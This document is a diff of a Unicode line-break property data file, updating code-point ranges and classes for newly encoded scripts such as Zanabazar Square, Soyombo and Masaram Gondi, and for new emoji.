 09F4..09F8    ; AL # No   [5] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR
 09FA          ; AL # So       BENGALI ISSHAR
+09FC          ; AL # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; AL # Po       BENGALI ABBREVIATION SIGN
 0A05..0A0A    ; AL # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; AL # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; AL # Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -925,8 +930,7 @@
 23B4..23DB    ; AL # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; AL # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
 23E2..23EF    ; AL # So  [14] WHITE TRAPEZIUM..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
-23F4..23FE    ; AL # So  [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL
-2400..2426    ; AL # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23F4..2426    ; AL # So  [51] BLACK MEDIUM LEFT-POINTING TRIANGLE..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; AL # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 24FF          ; AL # No       NEGATIVE CIRCLED DIGIT ZERO
 254C..254F    ; AL # So   [4] BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL..BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL
@@ -987,7 +991,7 @@
 2B76..2B95    ; AL # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; AL # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; AL # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; AL # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; AL # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; AL # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E    ; AL # L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E    ; AL # L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -1129,7 +1133,7 @@
 102E1..102FB  ; AL # No  [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F  ; AL # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; AL # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
-10330..10340  ; AL # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; AL # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; AL # Nl       GOTHIC LETTER NINETY
 10342..10349  ; AL # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; AL # Nl       GOTHIC LETTER NINE HUNDRED
@@ -1256,6 +1260,14 @@
 118A0..118DF  ; AL # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118EA..118F2  ; AL # No   [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF         ; AL # Lo       WARANG CITI OM
+11A00         ; AL # Lo       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; AL # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; AL # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A40         ; AL # Po       ZANABAZAR SQUARE CLOSING HEAD MARK
+11A46         ; AL # Po       ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A50         ; AL # Lo       SOYOMBO LETTER A
+11A5C..11A83  ; AL # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; AL # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; AL # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; AL # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; AL # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -1262,6 +1274,10 @@
 11C40         ; AL # Lo       BHAIKSUKI SIGN AVAGRAHA
 11C5A..11C6C  ; AL # No  [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK
 11C72..11C8F  ; AL # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; AL # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; AL # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; AL # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; AL # Lo       MASARAM GONDI REPHA
 12000..12399  ; AL # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; AL # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; AL # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -1409,8 +1425,9 @@
 1F850..1F859  ; AL # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; AL # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; AL # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
+1F900..1F90B  ; AL # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
 
-# Total code points: 19523
+# Total code points: 19690
 
 # ================================================
 
@@ -1480,7 +1497,7 @@
 30EF..30F4    ; ID # Lo   [6] KATAKANA LETTER WA..KATAKANA LETTER VU
 30F7..30FA    ; ID # Lo   [4] KATAKANA LETTER VA..KATAKANA LETTER VO
 30FF          ; ID # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; ID # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; ID # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; ID # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191    ; ID # So   [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195    ; ID # No   [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -1500,8 +1517,8 @@
 3300..33FF    ; ID # So [256] SQUARE APAATO..SQUARE GAL
 3400..4DB5    ; ID # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DB6..4DBF    ; ID # Cn  [10] <reserved-4DB6>..<reserved-4DBF>
-4E00..9FD5    ; ID # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
-9FD6..9FFF    ; ID # Cn  [42] <reserved-9FD6>..<reserved-9FFF>
+4E00..9FEA    ; ID # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF    ; ID # Cn  [21] <reserved-9FEB>..<reserved-9FFF>
 A000..A014    ; ID # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A016..A48C    ; ID # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
 A490..A4C6    ; ID # So  [55] YI RADICAL QOT..YI RADICAL KE
@@ -1552,7 +1569,8 @@
 FFE4          ; ID # So       FULLWIDTH BROKEN BAR
 17000..187EC  ; ID # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; ID # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; ID # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; ID # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; ID # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1F000..1F02B  ; ID # So  [44] MAHJONG TILE EAST WIND..MAHJONG TILE BACK
 1F02C..1F02F  ; ID # Cn   [4] <reserved-1F02C>..<reserved-1F02F>
 1F030..1F093  ; ID # So [100] DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06
@@ -1576,14 +1594,17 @@
 1F240..1F248  ; ID # So   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F249..1F24F  ; ID # Cn   [7] <reserved-1F249>..<reserved-1F24F>
 1F250..1F251  ; ID # So   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
-1F252..1F2FF  ; ID # Cn [174] <reserved-1F252>..<reserved-1F2FF>
+1F252..1F25F  ; ID # Cn  [14] <reserved-1F252>..<reserved-1F25F>
+1F260..1F265  ; ID # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+1F266..1F2FF  ; ID # Cn [154] <reserved-1F266>..<reserved-1F2FF>
 1F300..1F384  ; ID # So [133] CYCLONE..CHRISTMAS TREE
 1F386..1F39B  ; ID # So  [22] FIREWORKS..CONTROL KNOBS
 1F39E..1F3B4  ; ID # So  [23] FILM FRAMES..FLOWER PLAYING CARDS
 1F3B7..1F3BB  ; ID # So   [5] SAXOPHONE..VIOLIN
-1F3BD..1F3C2  ; ID # So   [6] RUNNING SHIRT WITH SASH..SNOWBOARDER
-1F3C5..1F3C9  ; ID # So   [5] SPORTS MEDAL..RUGBY FOOTBALL
-1F3CC..1F3FA  ; ID # So  [47] GOLFER..AMPHORA
+1F3BD..1F3C1  ; ID # So   [5] RUNNING SHIRT WITH SASH..CHEQUERED FLAG
+1F3C5..1F3C6  ; ID # So   [2] SPORTS MEDAL..TROPHY
+1F3C8..1F3C9  ; ID # So   [2] AMERICAN FOOTBALL..RUGBY FOOTBALL
+1F3CD..1F3FA  ; ID # So  [46] RACING MOTORCYCLE..AMPHORA
 1F400..1F441  ; ID # So  [66] RAT..EYE
 1F444..1F445  ; ID # So   [2] MOUTH..TONGUE
 1F451..1F465  ; ID # So  [21] CROWN..BUSTS IN SILHOUETTE
@@ -1601,7 +1622,7 @@
 1F4B3..1F4FF  ; ID # So  [77] CREDIT CARD..PRAYER BEADS
 1F507..1F516  ; ID # So  [16] SPEAKER WITH CANCELLATION STROKE..BOOKMARK
 1F525..1F531  ; ID # So  [13] FIRE..TRIDENT EMBLEM
-1F54A..1F574  ; ID # So  [43] DOVE OF PEACE..MAN IN BUSINESS SUIT LEVITATING
+1F54A..1F573  ; ID # So  [42] DOVE OF PEACE..HOLE
 1F576..1F579  ; ID # So   [4] DARK SUNGLASSES..JOYSTICK
 1F57B..1F58F  ; ID # So  [21] LEFT HAND TELEPHONE RECEIVER..TURNED OK HAND SIGN
 1F591..1F594  ; ID # So   [4] REVERSED RAISED HAND WITH FINGERS SPLAYED..REVERSED VICTORY HAND
@@ -1612,12 +1633,13 @@
 1F680..1F6A2  ; ID # So  [35] ROCKET..SHIP
 1F6A4..1F6B3  ; ID # So  [16] SPEEDBOAT..NO BICYCLES
 1F6B7..1F6BF  ; ID # So   [9] NO PEDESTRIANS..SHOWER
-1F6C1..1F6D2  ; ID # So  [18] BATHTUB..SHOPPING TROLLEY
-1F6D3..1F6DF  ; ID # Cn  [13] <reserved-1F6D3>..<reserved-1F6DF>
+1F6C1..1F6CB  ; ID # So  [11] BATHTUB..COUCH AND LAMP
+1F6CD..1F6D4  ; ID # So   [8] SHOPPING BAGS..PAGODA
+1F6D5..1F6DF  ; ID # Cn  [11] <reserved-1F6D5>..<reserved-1F6DF>
 1F6E0..1F6EC  ; ID # So  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
 1F6ED..1F6EF  ; ID # Cn   [3] <reserved-1F6ED>..<reserved-1F6EF>
-1F6F0..1F6F6  ; ID # So   [7] SATELLITE..CANOE
-1F6F7..1F6FF  ; ID # Cn   [9] <reserved-1F6F7>..<reserved-1F6FF>
+1F6F0..1F6F8  ; ID # So   [9] SATELLITE..FLYING SAUCER
+1F6F9..1F6FF  ; ID # Cn   [7] <reserved-1F6F9>..<reserved-1F6FF>
 1F774..1F77F  ; ID # Cn  [12] <reserved-1F774>..<reserved-1F77F>
 1F7D5..1F7FF  ; ID # Cn  [43] <reserved-1F7D5>..<reserved-1F7FF>
 1F80C..1F80F  ; ID # Cn   [4] <reserved-1F80C>..<reserved-1F80F>
@@ -1624,23 +1646,25 @@
 1F848..1F84F  ; ID # Cn   [8] <reserved-1F848>..<reserved-1F84F>
 1F85A..1F85F  ; ID # Cn   [6] <reserved-1F85A>..<reserved-1F85F>
 1F888..1F88F  ; ID # Cn   [8] <reserved-1F888>..<reserved-1F88F>
-1F8AE..1F90F  ; ID # Cn  [98] <reserved-1F8AE>..<reserved-1F90F>
+1F8AE..1F8FF  ; ID # Cn  [82] <reserved-1F8AE>..<reserved-1F8FF>
+1F90C..1F90F  ; ID # Cn   [4] <reserved-1F90C>..<reserved-1F90F>
 1F910..1F917  ; ID # So   [8] ZIPPER-MOUTH FACE..HUGGING FACE
-1F91F         ; ID # Cn       <reserved-1F91F>
+1F91D         ; ID # So       HANDSHAKE
 1F920..1F925  ; ID # So   [6] FACE WITH COWBOY HAT..LYING FACE
-1F927         ; ID # So       SNEEZING FACE
-1F928..1F92F  ; ID # Cn   [8] <reserved-1F928>..<reserved-1F92F>
-1F931..1F932  ; ID # Cn   [2] <reserved-1F931>..<reserved-1F932>
-1F93A..1F93B  ; ID # So   [2] FENCER..MODERN PENTATHLON
+1F927..1F92F  ; ID # So   [9] SNEEZING FACE..SHOCKED FACE WITH EXPLODING HEAD
+1F93A..1F93C  ; ID # So   [3] FENCER..WRESTLERS
 1F93F         ; ID # Cn       <reserved-1F93F>
-1F940..1F94B  ; ID # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F94C..1F94F  ; ID # Cn   [4] <reserved-1F94C>..<reserved-1F94F>
-1F950..1F95E  ; ID # So  [15] CROISSANT..PANCAKES
-1F95F..1F97F  ; ID # Cn  [33] <reserved-1F95F>..<reserved-1F97F>
-1F980..1F991  ; ID # So  [18] CRAB..SQUID
-1F992..1F9BF  ; ID # Cn  [46] <reserved-1F992>..<reserved-1F9BF>
+1F940..1F94C  ; ID # So  [13] WILTED FLOWER..CURLING STONE
+1F94D..1F94F  ; ID # Cn   [3] <reserved-1F94D>..<reserved-1F94F>
+1F950..1F96B  ; ID # So  [28] CROISSANT..CANNED FOOD
+1F96C..1F97F  ; ID # Cn  [20] <reserved-1F96C>..<reserved-1F97F>
+1F980..1F997  ; ID # So  [24] CRAB..CRICKET
+1F998..1F9BF  ; ID # Cn  [40] <reserved-1F998>..<reserved-1F9BF>
 1F9C0         ; ID # So       CHEESE WEDGE
-1F9C1..1FFFD  ; ID # Cn [1597] <reserved-1F9C1>..<reserved-1FFFD>
+1F9C1..1F9CF  ; ID # Cn  [15] <reserved-1F9C1>..<reserved-1F9CF>
+1F9D0         ; ID # So       FACE WITH MONOCLE
+1F9DE..1F9E6  ; ID # So   [9] GENIE..SOCKS
+1F9E7..1FFFD  ; ID # Cn [1559] <reserved-1F9E7>..<reserved-1FFFD>
 20000..2A6D6  ; ID # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A6D7..2A6FF  ; ID # Cn  [41] <reserved-2A6D7>..<reserved-2A6FF>
 2A700..2B734  ; ID # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
@@ -1648,12 +1672,14 @@
 2B740..2B81D  ; ID # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B81E..2B81F  ; ID # Cn   [2] <reserved-2B81E>..<reserved-2B81F>
 2B820..2CEA1  ; ID # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
-2CEA2..2F7FF  ; ID # Cn [10590] <reserved-2CEA2>..<reserved-2F7FF>
+2CEA2..2CEAF  ; ID # Cn  [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0  ; ID # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF  ; ID # Cn [3103] <reserved-2EBE1>..<reserved-2F7FF>
 2F800..2FA1D  ; ID # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 2FA1E..2FFFD  ; ID # Cn [1504] <reserved-2FA1E>..<reserved-2FFFD>
 30000..3FFFD  ; ID # Cn [65534] <reserved-30000>..<reserved-3FFFD>
 
-# Total code points: 172133
+# Total code points: 172784
 
 # ================================================
 
@@ -1752,6 +1778,7 @@
 0ACB..0ACC    ; CM # Mc   [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU
 0ACD          ; CM # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; CM # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; CM # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; CM # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; CM # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B3C          ; CM # Mn       ORIYA SIGN NUKTA
@@ -1793,8 +1820,9 @@
 0CCC..0CCD    ; CM # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CD5..0CD6    ; CM # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; CM # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; CM # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; CM # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; CM # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+0D3B..0D3C    ; CM # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3E..0D40    ; CM # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; CM # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D46..0D48    ; CM # Mc   [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
@@ -1880,8 +1908,9 @@
 1CED          ; CM # Mn       VEDIC SIGN TIRYAK
 1CF2..1CF3    ; CM # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; CM # Mn       VEDIC TONE CANDRA ABOVE
+1CF7          ; CM # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; CM # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; CM # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; CM # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; CM # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C          ; CM # Cf       ZERO WIDTH NON-JOINER
 200E..200F    ; CM # Cf   [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK
@@ -2035,6 +2064,19 @@
 116B0..116B5  ; CM # Mn   [6] TAKRI VOWEL SIGN U..TAKRI VOWEL SIGN AU
 116B6         ; CM # Mc       TAKRI SIGN VIRAMA
 116B7         ; CM # Mn       TAKRI SIGN NUKTA
+11A01..11A06  ; CM # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; CM # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; CM # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; CM # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; CM # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3B..11A3E  ; CM # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; CM # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; CM # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; CM # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; CM # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; CM # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; CM # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; CM # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C2F         ; CM # Mc       BHAIKSUKI VOWEL SIGN AA
 11C30..11C36  ; CM # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; CM # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
@@ -2047,6 +2089,11 @@
 11CB2..11CB3  ; CM # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; CM # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; CM # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; CM # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; CM # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; CM # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; CM # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; CM # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; CM # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; CM # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F51..16F7E  ; CM # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
@@ -2078,7 +2125,7 @@
 E0020..E007F  ; CM # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; CM # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 2090
+# Total code points: 2170
 
 # ================================================
 
@@ -2102,9 +2149,12 @@
 111DB         ; BB # Po       SHARADA SIGN SIDDHAM
 115C1         ; BB # Po       SIDDHAM SIGN SIDDHAM
 11660..1166C  ; BB # Po  [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT
+11A3F         ; BB # Po       ZANABAZAR SQUARE INITIAL HEAD MARK
+11A45         ; BB # Po       ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK
+11A9E..11AA0  ; BB # Po   [3] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO HEAD MARK WITH MOON AND SUN
 11C70         ; BB # Po       MARCHEN HEAD MARK
 
-# Total code points: 37
+# Total code points: 42
 
 # ================================================
 
@@ -2158,7 +2208,7 @@
 2E3C..2E3E    ; BA # Po   [3] STENOGRAPHIC FULL STOP..WIGGLY VERTICAL LINE
 2E40          ; BA # Pd       DOUBLE HYPHEN
 2E41          ; BA # Po       REVERSED COMMA
-2E43..2E44    ; BA # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; BA # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 3000          ; BA # Zs       IDEOGRAPHIC SPACE
 A4FE..A4FF    ; BA # Po   [2] LISU PUNCTUATION COMMA..LISU PUNCTUATION FULL STOP
 A60D          ; BA # Po       VAI COMMA
@@ -2193,6 +2243,9 @@
 115C9..115D7  ; BA # Po  [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES
 11641..11642  ; BA # Po   [2] MODI DANDA..MODI DOUBLE DANDA
 1173C..1173E  ; BA # Po   [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI
+11A41..11A44  ; BA # Po   [4] ZANABAZAR SQUARE MARK TSHEG..ZANABAZAR SQUARE MARK LONG TSHEG
+11A9A..11A9C  ; BA # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11AA1..11AA2  ; BA # Po   [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2
 11C41..11C45  ; BA # Po   [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2
 12470..12474  ; BA # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
 16A6E..16A6F  ; BA # Po   [2] MRO DANDA..MRO DOUBLE DANDA
@@ -2202,7 +2255,7 @@
 1BC9F         ; BA # Po       DUPLOYAN PUNCTUATION CHINOOK FULL STOP
 1DA87..1DA8A  ; BA # Po   [4] SIGNWRITING COMMA..SIGNWRITING COLON
 
-# Total code points: 218
+# Total code points: 232
 
 # ================================================
 
@@ -3462,8 +3515,9 @@
 26F9          ; EB # So       PERSON WITH BALL
 270A..270D    ; EB # So   [4] RAISED FIST..WRITING HAND
 1F385         ; EB # So       FATHER CHRISTMAS
-1F3C3..1F3C4  ; EB # So   [2] RUNNER..SURFER
-1F3CA..1F3CB  ; EB # So   [2] SWIMMER..WEIGHT LIFTER
+1F3C2..1F3C4  ; EB # So   [3] SNOWBOARDER..SURFER
+1F3C7         ; EB # So       HORSE RACING
+1F3CA..1F3CC  ; EB # So   [3] SWIMMER..GOLFER
 1F442..1F443  ; EB # So   [2] EAR..NOSE
 1F446..1F450  ; EB # So  [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN
 1F466..1F469  ; EB # So   [4] BOY..WOMAN
@@ -3473,7 +3527,7 @@
 1F481..1F483  ; EB # So   [3] INFORMATION DESK PERSON..DANCER
 1F485..1F487  ; EB # So   [3] NAIL POLISH..HAIRCUT
 1F4AA         ; EB # So       FLEXED BICEPS
-1F575         ; EB # So       SLEUTH OR SPY
+1F574..1F575  ; EB # So   [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY
 1F57A         ; EB # So       MAN DANCING
 1F590         ; EB # So       RAISED HAND WITH FINGERS SPLAYED
 1F595..1F596  ; EB # So   [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
@@ -3482,13 +3536,15 @@
 1F6A3         ; EB # So       ROWBOAT
 1F6B4..1F6B6  ; EB # So   [3] BICYCLIST..PEDESTRIAN
 1F6C0         ; EB # So       BATH
-1F918..1F91E  ; EB # So   [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+1F6CC         ; EB # So       SLEEPING ACCOMMODATION
+1F918..1F91C  ; EB # So   [5] SIGN OF THE HORNS..RIGHT-FACING FIST
+1F91E..1F91F  ; EB # So   [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN
